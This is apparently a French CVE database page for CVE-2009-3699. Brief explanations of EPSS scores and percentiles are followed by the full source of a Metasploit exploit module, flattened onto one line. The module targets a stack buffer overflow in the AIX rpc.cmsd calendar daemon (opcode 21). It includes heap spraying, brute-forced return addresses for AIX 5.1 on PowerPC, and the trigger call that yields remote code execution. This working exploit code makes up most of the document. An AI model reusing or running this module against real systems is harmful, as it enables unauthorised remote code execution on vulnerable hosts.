CVE-2009-3699 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

## # $Id: rpc_cmsd_opcode21.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::SunRPC include Msf::Exploit::Brute def initialize(info = {}) super(update_info(info, 'Name' => 'AIX Calendar Manager Service Daemon (rpc.cmsd) Opcode 21 Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow vulnerability in opcode 21 handled by rpc.cmsd on AIX. By making a request with a long string passed to the first argument of the "rtable_create" RPC, a stack based buffer overflow occurs. This leads to arbitrary code execution. NOTE: Unsuccessful attempts may cause inetd/portmapper to enter a state where further attempts are not possible. }, 'Author' => [ 'Rodrigo Rubira Branco (BSDaemon)', 'jduck', ], 'Version' => '$Revision: 10998 $', 'References' => [ [ 'CVE', '2009-3699' ], [ 'OSVDB', '58726' ], [ 'BID', '36615' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=825' ], [ 'URL', 'http://aix.software.ibm.com/aix/efixes/security/cmsd_advisory.asc' ] ], 'Platform' => [ 'aix' ], 'Payload' => { 'Space' => 4104, 'BadChars' => "\x00", # The RPC function splits the string by 0x40, watch out! # It's not a payload badchar since we're putting the payload elsewhere... 'DisableNops' => true }, 'Targets' => [ [ 'IBM AIX Version 5.1', { 'Arch' => 'ppc', 'Platform' => 'aix', 'AIX' => '5.1', 'Bruteforce' => { 'Start' => { 'Ret' => 0x2022dfc8 }, #worked on ibmoz - 'Start' => { 'Ret' => 0x2022e8c8 }, 'Stop' => { 'Ret' => 0x202302c8 }, 'Step' => 600 } } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Oct 07 2009')) end def brute_exploit(brute_target) if not @aixpayload datastore['AIX'] = target['AIX'] @aixpayload = regenerate_payload.encoded end print_status("Trying to exploit rpc.cmsd with address 0x%x ..." % brute_target['Ret']) begin if (not sunrpc_create('udp', 100068, 4)) raise RuntimeError, 'sunrpc_create failed' end # spray the heap a bit (work around powerpc cache issues) buf = make_nops(1024 - @aixpayload.length) buf << @aixpayload xdr = XDR.encode(buf, buf) 10.times { sunrpc_call(7, xdr, 2) } #print_status("ATTACH DEBUGGER NOW!"); select(nil,nil,nil,5) buf = rand_text_alphanumeric(payload_space) buf << [brute_target['Ret']].pack('N') xdr = XDR.encode(buf, "") sunrpc_authunix('localhost', 0, 0, []) sunrpc_call(21, xdr, 2) handler(sunrpc_callsock) sunrpc_destroy rescue Rex::Proto::SunRPC::RPCTimeout # print_error('RPCTimeout') rescue EOFError # print_error('EOFError') end end end